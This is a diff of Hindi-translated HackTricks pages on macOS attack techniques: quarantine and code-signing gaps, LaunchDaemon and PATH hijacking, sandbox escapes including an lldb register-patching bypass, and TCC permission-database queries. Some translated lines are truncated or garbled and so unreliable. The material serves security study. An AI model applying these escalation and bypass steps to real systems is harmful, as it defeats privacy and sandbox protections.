उदाहरण के लिए: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
## क्वारंटाइन xattrs चालाकियों से बचें
### इसे हटाएँ
```bash
@ -138,7 +154,7 @@ ls -le test
बंडल में फ़ाइल **`_CodeSignature/CodeResources`** होती है जिसमें बंडल में हर एक **फ़ाइल** का **हैश** होता है। ध्यान दें कि CodeResources का हैश भी **executable में समाहित** होता है, इसलिए हम उसके साथ छेड़छाड़ नहीं कर सकते।
हालांकि, कुछ ऐसी फ़ाइलें हैं जिनके साइनेचर की जांच नहीं की जाएगी, इनमें plist में चाबी छोड़ी होती है, जैसे:
हालांकि, कुछ ऐसी फ़ाइलें हैं जिनके साइनेचर की जांच नहीं की जाएगी, इनमें plist में तथा जैसे:
```xml
<dict>
...
@ -227,7 +243,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
### डेमन
एक अनियमित **लॉन्चडेमन** जैसे **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** को लिखें, जिसमें एक प्लिस्ट है जो एक अनियमित स्क्रिप्ट को निष्पादित करता है, जैसे:
एक अनियमित **लॉन्चडेमन** जैसे **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** को लिखें, जिसमें एक प्लिस्ट एक अनियमित स्क्रिप्ट को निष्पादित करता है, जैसे:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -252,7 +268,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
### PATH फ़ाइलें
फ़ाइल **`/etc/paths`** PATH env चर को प्रदर्शित करने वाली मुख्य जगहों में से एक है। आपको इसे ओवरराइट करने के लिए रूट होना चाहिए, लेकिन यदि कोई **विशेषाधिकारी प्रक्रिया** से कोई **पूरा पथ नहीं होने वाली कमांड** चला रही है, तो आप इस फ़ाइल को संशोधित करके इसे **हाइजैक** कर सकते हैं।
फ़ाइल **`/etc/paths`** PATH env चर को रने वाली मुख्य जगहों में से एक है। इसे ओवरराइट करने के लिए आपको रूट होना चाहिए, लेकिन यदि कोई **विशेषाधिकारी प्रक्रिया** से कोई **पूरा पथ नहीं होने वाली कमांड** चला रही है, तो आप इस फ़ाइल को संशोधित करके इसे **हाइजैक** कर सकते हैं।
आप नए फ़ोल्डर को `PATH` env चर में लोड करने के लिए **`/etc/paths.d`** में भी फ़ाइलें लिख सकते हैं।

View file

@ -6,9 +6,9 @@
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल** हों या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** अनुसरण करें।
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके अपना योगदान दें।
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल** हों या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**।**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपना योगदान दें।**
</details>
@ -20,38 +20,46 @@
कंपाइलर बाइनरी को **`/usr/lib/libSystem.B.dylib`** से लिंक करेगा।
फिर, **`libSystem.B`** अन्य कई फ़ंक्शन को कॉल करेगा जब तक **`xpc_pipe_routine`** ऐप की एंटाइटलमेंट्स को **`securityd`** को भेजता है। सुरक्षादी यह जांचता है कि क्या प्रक्रिया सैंडबॉक्स में क्वारंटीन होनी चाहिए, और यदि हां, तो यह क्वारंटीन हो जाएगी।\
फिर, **`libSystem.B`** अन्य कई फ़ंक्शनों को कॉल करेगा जब तक **`xpc_pipe_routine`** ऐप की एंटाइटलमेंट्स को **`securityd`** को भेजता है। सुरक्षादी यह जांचता है कि क्या प्रक्रिया सैंडबॉक्स में क्वारंटीन होनी चाहिए, और यदि हां, तो यह क्वारंटीन हो जाएगी।\
अंत में, सैंडबॉक्स को एक कॉल के माध्यम से सक्रिय किया जाएगा **`__sandbox_ms`** जो **`__mac_syscall`** को कॉल करेगा।
## संभावित बाईपास
### क्वारंटीन एट्रिब्यूट को बाईपास करना
**सैंडबॉक्स प्रक्रियाओं द्वारा बनाए गए फ़ाइलों** को सैंडबॉक्स से बाहर निकलने से रोकने के लिए **क्वारंटीन एट्रिब्यूट** जोड़ा जाता है। हालांकि, यदि आप **क्वारंटीन एट्रिब्यूट के साथ एक `.app` फ़ोल्डर बनाने में सफल हो जाते हैं** जो सैंडबॉक्स वाले ऐप्लिकेशन के बिनरी को **`/bin/bash`** पर पॉइंट करता है और **प्लिस्ट** में कुछ env वेरिएबल्स जोड़ता है, तो **`open`** का दुरुपयोग करके नया ऐप बिनरी को **सैंडबॉक्स से बाहर लॉन्च** करने के लिए इस्तेमाल किया जा सकता है
**सैंडबॉक्स प्रक्रियाओं द्वारा बनाए गए फ़ाइलों** को सैंडबॉक्स से बाहर निकलने से रोकने के लिए **क्वारंटीन एट्रिब्यूट** जोड़ा जाता है। हालांकि, यदि आप **क्वारंटीन एट्रिब्यूट के साथ एक `.app` फ़ोल्डर बनाने में सफल होते हैं** जो सैंडबॉक्स वाले ऐप्लिकेशन में नहीं है, तो आप ऐप बंडल बाइनरी को **`/bin/bash`** पर पॉइंट कर सकते हैं और **प्लिस्ट** में कुछ env वेरिएबल्स जोड़ सकते हैं ताकि **`open`** का दुरुपयोग करके **नया ऐप बिना सैंडबॉक्स के लॉन्च** किया जा सके
यही कार्य किया गया था [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.**
यही कार्य किया गया था [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)** में।**
{% hint style="danger" %}
इसलिए, इस समय, यदि आप केवल एक नाम से समाप्त होने वाले **`.app` फ़ोल्डर** के साथ एक फ़ोल्डर बनाने के क्षमता वाले हैं, तो आप सैंडबॉक्स से बाहर निकल सकते हैं क्योंकि macOS केवल **`.app` फ़ोल्डर** और **मुख्य निष्पादनी** में **क्वारंटीन** एट्रिब्यूट की **जांच** करता है (और हम मुख्य निष्पादनी को **`/bin/bash`** पर पॉइंट करेंगे)।
इसलिए, इस समय, यदि आप केवल एक नाम से समाप्त होने वाले **`.app` फ़ोल्डर** के साथ एक फ़ोल्डर बनाने के क्षम हैं, तो आप सैंडबॉक्स को बाईपास कर सकते हैं क्योंकि macOS केवल **`.app` फ़ोल्डर** और **मुख्य एक्जीक्यूटेबल** में **क्वारंटीन** एट्रिब्यूट की **जांच** करता है (और हम मुख्य एक्जीक्यूटेबल को **`/bin/bash`** पर पॉइंट करेंगे)।
ध्यान दें कि यदि एक .app बंडल को पहले से ही चलाने की अनुमति है (इसमें अनुमति दी गई है कि यह चलाने के लिए एक क्वारंटीन xttr है), तो आप इसका भी दुरुपयोग कर सकते हैं... केवल अब आ**`.app`** बंडल के अंदर लिख सकते हैं नहीं (जब तक आपके पास कुछ प्रिविलेज्ड TCC पर्मिशन नहीं हैं (
### स्थायी कंपाइलिंग और गतिशील लिंकिं
ध्यान दें कि यदि एक .app बंडल को पहले से ही चलाने की अनुमति है (इसमें अनुमति दी गई है कि यह चलाने के लिए एक क्वारंटीन xttr है), तो आप इसका दुरुपयोग भी कर सकते हैं... केवल अब आ
### अन्य प्रक्रियाओं का दुरुपयो
[**यह शोध**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) ने सैंडबॉक्स को दो तरीकों से उम्मीदवार बनाने के 2 तरीके खोजे हैं। क्योंकि सैंडबॉक्स उपयोगकर्ता भूमि से लागू होता है जब **libSystem** पुस्तकालय लोड होती है। यदि एक बाइनरी इसे लोड करने से बच सकती है, तो यह कभी सैंडबॉक्स नहीं होगा:
यदि सैंडबॉक्स प्रक्रिया से आप किसी अन्य प्रक्रिया को कम संबंधित सैंडबॉक्स में (या कोई नहीं) चलाने में सक्षम होते हैं, तो आप उनके सैंडबॉक्स से बाहर निकल सकेंगे:
* यदि बाइनरी **पूरी तरह से स्थायी रूप से कंपाइल** की गई होती, तो यह पुस्तकालय लोड करने से बच सकती है।
* यदि बाइनरी कोई पुस्तकालय लोड करने की आवश्यकता नहीं होती (क्योंकि लिंकर भी libSystem में होता है), तो यह libSystem लोड करने की आवश्यकता नहीं होगी।&#x20;
{% content-ref url="../../../macos-proces-abuse/" %}
[macos-proces-abuse](../../../macos-proces-abuse/)
{% endcontent-ref %}
### स्थायी संकलन और गतिशील लिंकिंग
[**इस शोध**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) ने सैंडबॉक्स को अनदेखा करने के 2 तरीके खोजे हैं। क्योंकि सैंडबॉक्स यूजरलैंड से लागू होता है जब **libSystem** पुस्तकालय लोड होती है। यदि एक बाइनरी इसे लोड करने से बचा सकती है, तो यह कभी सैंडबॉक्स नहीं होगा:
* यदि बाइनरी **पूरी तरह से स्थायी रूप से संकलित** होती है, तो वह पुस्तकालय लोड करने से बच सकती है।
* यदि **बाइनरी कोई पुस्तकालय लोड करने की आवश्यकता नहीं होती** है (क्योंकि लिंकर भी libSystem में है), तो वह libSystem लोड करने की आवश्यकता नहीं होगी।
### शैलकोड
ध्यान दें कि **यहां तक कि शैलकोड** भी ARM64 में `libSystem.dylib` में लिंक किए जाने की आवश्यकता होती है:
ध्यान दें कि **शैलकोड भी** ARM64 में `libSystem.dylib` में लिंक होने की आवश्यकता होती है:
```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
### अधिकार
ध्यान दें कि यदि कोई क्रिया सैंडबॉक्स द्वारा अनुमति दी जा सकती है, तो यदि किसी एप्लिकेशन में एक विशिष्ट अधिकार होता है, तो वह क्रिया संबंधी अधिकार के अनुरूप अनुमति दी जा सकती है, जैसे:
ध्यान दें कि यदि कोई क्रिया सैंडबॉक्स द्वारा अनुमति दी जा सकती है, तो यदि किसी एप्लिकेशन में एक विशेष अधिकार होता है, तो वह क्रिया संबंधी अधिकार के अनुरूप अनुमति दी जा सकती है, जैसे:
```scheme
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
@ -266,15 +274,16 @@ libsystem_kernel.dylib`:
0x187659908 <+8>: b.lo 0x187659928 ; <+40>
0x18765990c <+12>: pacibsp
# b.lo पते को बदलकर कुछ रजिस्टर्स को संशोधित करके जाने के लिए बाईपास करें
(lldb) ब्रेकपॉइंट डिलीट 1 # बीपी हटाएं
(lldb) रजिस्टर राइट $pc 0x187659928 # b.lo पता
(lldb) रजिस्टर राइट $x0 0x00
(lldb) रजिस्टर राइट $x1 0x00
(lldb) रजिस्टर राइट $x16 0x17d
(lldb) breakpoint delete 1 # बीपी हटाएं
(lldb) register write $pc 0x187659928 # b.lo पता
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
प्रक्रिया 2517 पुनरारंभ हो रही है
सैंडबॉक्स बाईपास किया गया!
प्रक्रिया 2517 का स्थानांतरण हुआ, स्थिति = 0 (0x00000000) के साथ बाहर आई
प्रक्रिया 2517 को स्थिति के साथ बाहर निकल गई = 0 (0x00000000)
```
{% hint style="warning" %}
**सैंडबॉक्स बाईपास किए जाने के बावजूद TCC** प्रयोक्ता से पूछेगा कि क्या वह प्रक्रिया को डेस्कटॉप से फ़ाइलें पढ़ने की अनुमति देना चाहता है
{% endhint %}

View file

@ -4,27 +4,27 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**
</details>
## **मूलभूत जानकारी**
**TCC (Transparency, Consent, and Control)** मैकओएस में एक तंत्र है जो **निश्चित सुविधाओं तक एप्लिकेशन का पहुंच सीमित और नियंत्रित करने** के लिए होता है, आमतौर पर एक गोपनीयता के दृष्टिकोण से। इसमें स्थान सेवाएं, संपर्क, फ़ोटो, माइक्रोफ़ोन, कैमरा, पहुंचियों, पूर्ण डिस्क पहुंच और बहुत कुछ शामिल हो सकता है।
**TCC (Transparency, Consent, and Control)** मैकओएस में एक तंत्र है जो **निश्चित सुविधाओं तक एप्लिकेशन का पहुंच सीमित और नियंत्रित करने** के लिए होता है, आमतौर पर एक गोपनीयता के दृष्टिकोण से। इसमें स्थान सेवाएं, संपर्क, फ़ोटो, माइक्रोफ़ोन, कैमरा, पहुंचिता, पूर्ण डिस्क पहुंच और बहुत कुछ शामिल हो सकता है।
उपयोगकर्ता के दृष्टिकोण से, वे TCC को कार्रवाई में देखते हैं **जब एक ऐप्लिकेशन TCC द्वारा संरक्षित सुविधा तक पहुंच चाहता है**। जब ऐसा होता है, तो **उपयोगकर्ता को प्रश्न पूछा जाता है** कि क्या वह पहुंच को अनुमति देना चाहते हैं या नहीं।
यह भी संभव है कि उपयोगकर्ता द्वारा **उपयोगकर्ता के द्वारा स्पष्ट इरादों** से ऐप्स को फ़ाइलों की पहुंच दी जाए, उदाहरण के लिए जब उपयोगकर्ता एक फ़ाइल को एक प्रोग्राम में **खींचता है और छोड़ता है** (स्वाभाविक रूप से प्रोग्राम को इसकी पहुंच होनी चाहिए)।
यह भी संभव है कि उपयोगकर्ता द्वारा **निर्दिष्ट इंटेंट्स** के माध्यम से ऐप्स को फ़ाइलों की पहुंच दी जाए, उदाहरण के लिए जब उपयोगकर्ता एक फ़ाइल को एक प्रोग्राम में **ड्रैग एंड ड्रॉप करता है** (स्वाभाविक रूप से प्रोग्राम को इसकी पहुंच होनी चाहिए)।
![TCC प्रॉम्प्ट का एक उदाहरण](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC** को **डेमन** द्वारा संभाला जाता है जो `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` में स्थित होता है और `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` में कॉन्फ़िगर किया जाता है (मशीन सेवा `com.apple.tccd.system` को पंजीकृत करना)।
**TCC** को **डेमन** `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` में संगठित किया जाता है और `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` में कॉन्फ़िगर किया जाता है (मशीन सेवा `com.apple.tccd.system` को पंजीकृत करना)।
यहां आप देख सकते हैं कि तंत्र सिस्टम और उपयोगकर्ता के रूप में चल रह है:
यहां आप देख सकते हैं कि तंत्रिका सिस्टम के रूप में और उपयोगकर्ता के रूप में चल रह है:
```bash
ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
@ -34,15 +34,15 @@ ps -ef | grep tcc
### TCC डेटाबेस
चयन फिर TCC सिस्टम-व्यापी डेटाबेस में संग्रहीत होता है **`/Library/Application Support/com.apple.TCC/TCC.db`** या प्रति-उपयोगकर्ता प्राथमिकताओं के लिए **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** में। डेटाबेसों को **SIP**(सिस्टम अखंडता संरक्षण) के साथ संपादित करने से सुरक्षित रखा गया है, लेकिन आप उन्हें पढ़ सकते हैं।
चयन फिर **TCC सिस्टम-व्यापी डेटाबेस में संग्रहीत** किया जाता है, जो **`/Library/Application Support/com.apple.TCC/TCC.db`** में होता है या प्रति-उपयोगकर्ता वरीयताओं के लिए **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** में होता है। डेटाबेसों को **SIP**(सिस्टम अखंडता संरक्षण) के साथ **संपादित करने से सुरक्षित रखा गया है**, लेकिन आप उन्हें पढ़ सकते हैं।
{% hint style="danger" %}
**iOS** में TCC डेटाबेस **`/private/var/mobile/Library/TCC/TCC.db`** में होता है।
{% endhint %}
**एक तीसरा** TCC डेटाबेस **`/var/db/locationd/clients.plist`** में होता है जो स्थान सेवाओं तक पहुंच की अनुमति देने वाले क्लाइंट्स को दर्शाता है।
**`/var/db/locationd/clients.plist`** में एक **तीसरा** TCC डेटाबेस होता है जो **स्थान सेवाओं तक पहुंच देने वाले क्लाइंट** को दर्शाता है।
इसके अलावा, **पूर्ण डिस्क उपयोग की अनुमति** वाली प्रक्रिया **उपयोगकर्ता मोड** डेटाबेस को संपादित कर सकती है। अब एक ऐप को डेटाबेस को **पढ़ने** के लिए भी **FDA** की आवश्यकता होती है।
इसके अलावा, **पूर्ण डिस्क एक्सेस** वाले प्रक्रिया **उपयोगकर्ता मोड** डेटाबेस को **संपादित कर सकती है**। अब एक ऐप को डेटाबेस को **पढ़ने** (और उपयोगकर्ताओं को संशोधित करने के लिए) भी **FDA** या **`kTCCServiceEndpointSecurityClient`** की आवश्यकता होती है।
{% hint style="info" %}
**नोटिफिकेशन सेंटर UI** सिस्टम TCC डेटाबेस में **परिवर्तन कर सकता है**:
@ -61,6 +61,7 @@ com.apple.rootless.storage.TCC
{% tabs %}
{% tab title="उपयोगकर्ता डीबी" %}
{% code overflow="wrap" %}
```bash
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
@ -77,7 +78,11 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
```
{% endcode %}
{% endtab %}
{% tab title="सिस्टम डीबी" %}
{% code overflow="wrap" %}
```bash
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
@ -89,34 +94,42 @@ kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]
# Get all FDA
sqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;
# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
```
{% endcode %}
{% endtab %}
{% endtabs %}
{% hint style="success" %}
दोनों डेटाबेस की जांच करके आप देख सकते हैं कि किसी ऐप ने कौन सी अनुमतियाँ दी हैं, कौन सी अनुमतियाँ मना की गई हैं या कौन सी अनुमतियाँ नहीं हैं (इसके लिए यह पूछेगा)।
दोनों डेटाबेस की जांच करके आप देख सकते हैं कि किसी ऐप ने कौन सी अनुमतियाँ दी हैं, कौन सी अनुमतियाँ मना की गई हैं, या कौन सी अनुमतियाँ नहीं हैं (इसके लिए यह पूछेगा)।
{% endhint %}
* **`auth_value`** के अलग-अलग मान हो सकते हैं: denied(0), unknown(1), allowed(2), या limited(3)।
* **`auth_value`** में अलग-अलग मान हो सकते हैं: denied(0), unknown(1), allowed(2), या limited(3)।
* **`auth_reason`** निम्नलिखित मान ले सकता है: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
* टेबल के **अन्य फ़ील्ड्स** के बारे में अधिक जानकारी के लिए [**इस ब्लॉग पोस्ट की जांच करें**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)।
{% hint style="info" %}
कुछ TCC अनुमतियाँ हैं: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... उन सभी की परिभाषा बताने वाली कोई सार्वजनिक सूची नहीं है लेकिन आप इस [**ज्ञात सूची की जांच कर सकते हैं**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)।
कुछ TCC अनुमतियाँ हैं: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... उन सभी की परिभाषा बताने वाली कोई सार्वजनिक सूची नहीं है, लेकिन आप इस [**ज्ञात सूची की जांच कर सकते हैं**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)।
**पूर्ण डिस्क एक्सेस** का नाम है **`kTCCServiceSystemPolicyAllFiles`** और **`kTCCServiceAppleEvents`** ऐप को अन्य ऐप्स को इवेंट भेजने की अनुमति देता है जो सामान्य रूप से **कार्यों को स्वचालित करने** के लिए उपयोग किए जाते हैं। इसके अलावा, **`kTCCServiceSystemPolicySysAdminFiles`** उपयोगकर्ता के **`NFSHomeDirectory`** विशेषता को बदलने की अनुमति देता है जो उसके होम फ़ोल्डर को बदलता है और इसलिए TCC को **दौरा करने की अनुमति देता है**
**पूर्ण डिस्क एक्सेस** का नाम है **`kTCCServiceSystemPolicyAllFiles`** और **`kTCCServiceAppleEvents`** ऐप को अन्य ऐप्स को इवेंट भेजने की अनुमति देता है जो सामान्य रूप से **कार्यों को स्वचालित करने** के लिए उपयोग किए जाते हैं।
**kTCCServiceEndpointSecurityClient** एक TCC अनुमति है जो उच्च अधिकार भी प्रदान करती है, उनमें से एक विकल्प है उपयोगकर्ता डेटाबेस में लिखने की।
इसके अलावा, **`kTCCServiceSystemPolicySysAdminFiles`** एक ऐसी अनुमति है जो एक उपयोगकर्ता के **`NFSHomeDirectory`** विशेषता को बदलने की अनुमति देती है जो उसके होम फ़ोल्डर को बदल देती है और इसलिए TCC को **दौरा करने की अनुमति देती है**
{% endhint %}
आप यह भी जांच सकते हैं कि `System Preferences --> Security & Privacy --> Privacy --> Files and Folders` में ऐप्स को पहले से दी गई अनुमतियाँ हैं।
आप यह भी जांच सकते हैं कि किसी ऐप को `System Preferences --> Security & Privacy --> Privacy --> Files and Folders` में पहले से दी गई अनुमतियाँ हैं।
{% hint style="success" %}
ध्यान दें कि यदि डेटाबेसों में से कोई भी एक उपयोगकर्ता के होम में है, तो **उपयोगकर्ता SIP के कारण इन डेटाबेसों को सीधे संशोधित नहीं कर सकते** (यदि आप रूट हों तो भी)। नया नियम कॉन्फ़िगर करने या संशोधित करने का एकमात्र तरीका सिस्टम प्राथमिकता पैनल या प्रॉम्प्ट के माध्यम से है जहां ऐप उपयोगकर्ता से पूछता है।
ध्यान दें कि यदि डेटाबेसों में से कोई भी एक उपयोगकर्ता के होम में है, तो **उपयोगकर्ता SIP के कारण इन डेटाबेसों को सीधे संशोधित नहीं कर सकते** (यदि आप रूट हों तो भी)। एक नई नियम को कॉन्फ़िगर करने या संशोधित करने का एकमात्र तरीका सिस्टम प्राथमिकता पैनल या प्रॉम्प्ट के माध्यम से है जहां ऐप उपयोगकर्ता से पूछता है।
हालांकि, ध्यान दें कि उपयोगकर्ता **`tccutil`** का उपयोग करके नियमों को **हटा सकते या क्वेरी कर सकते हैं**।
हालांकि, ध्यान दें कि उपयोगकर्ता **`tccutil`** का उपयोग करके नियमों को **हटा सकते हैं या क्वेरी कर सकते हैं**।
{% endhint %}
#### रीसेट
@ -127,17 +140,146 @@ tccutil reset All app.some.id
# Reset the permissions granted to all apps
tccutil reset All
```
### यूजर TCC डेटाबेस से FDA तक प्राइवेसी एस्कलेशन
### TCC हस्ताक्षर जांच
यूजर TCC डेटाबेस पर **लेखन अनुमतियाँ** प्राप्त करके आप खुद को **`FDA`** अनुमतियाँ नहीं दे सकते, केवल सिस्टम डेटाबेस में रहने वाला व्यक्ति उन्हें प्रदान कर सकता है
TCC **डेटाबेस** में एप्लिकेशन के **बंडल आईडी** को संग्रहीत किया जाता है, लेकिन यह भी **हस्ताक्षर** के बारे में **जानकारी** संग्रहीत करता है ताकि अनुमति का उपयोग करने के लिए अप्लिकेशन सही हो
लेकिन आप खुद को **`Finder के लिए स्वचालन अधिकार` दे सकते हैं**, और क्योंकि `Finder` में `FDA` है, इसलिए आपको भी हो जाता है।
{% code overflow="wrap" %}
```bash
# From sqlite
sqlite> select hex(csreq) from access where client="ru.keepcoder.Telegram";
#Get csreq
# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
```
{% endcode %}
{% hint style="warning" %}
इसलिए, एक ही नाम और बंडल ID का उपयोग करने वाले अन्य एप्लिकेशन अन्य ऐप्स को दिए गए अनुमतियों तक पहुंच नहीं पा सकेंगे।
{% endhint %}
### अधिकार
ऐप्स को केवल कुछ संसाधनों के लिए अनुरोध करने और उन्हें पहुंच दिए जाने के लिए ही नहीं होता है, उन्हें संबंधित अधिकार भी होने चाहिए।\
उदाहरण के लिए, **Telegram** के पास `com.apple.security.device.camera` अधिकार है जिसका उपयोग **कैमरे तक पहुंच के लिए** करने के लिए किया जाता है। इसके बिना किसी ऐप को कैमरे तक पहुंच नहीं होगी (और उपयोगकर्ता से अनुमतियों के लिए पूछा भी नहीं जाएगा)।
हालांकि, ऐप्स को `~/Desktop`, `~/Downloads` और `~/Documents` जैसे कुछ उपयोगकर्ता फ़ोल्डरों तक पहुंच करने के लिए किसी विशेष अधिकार की आवश्यकता नहीं होती है। सिस्टम स्वचालित रूप से पहुंच को संभालेगा और उपयोगकर्ता को आवश्यकतानुसार प्रश्नित करेगा।
एप्पल के ऐप्स प्रश्निति नहीं उत्पन्न करेंगे। उनमें उनकी अधिकार सूची में पूर्व-अनुमति होती है, जिसका अर्थ है कि वे कभी भी पॉपअप उत्पन्न नहीं करेंगे, और वे किसी भी TCC डेटाबेस में दिखाई नहीं देंगे। उदाहरण के लिए:
```bash
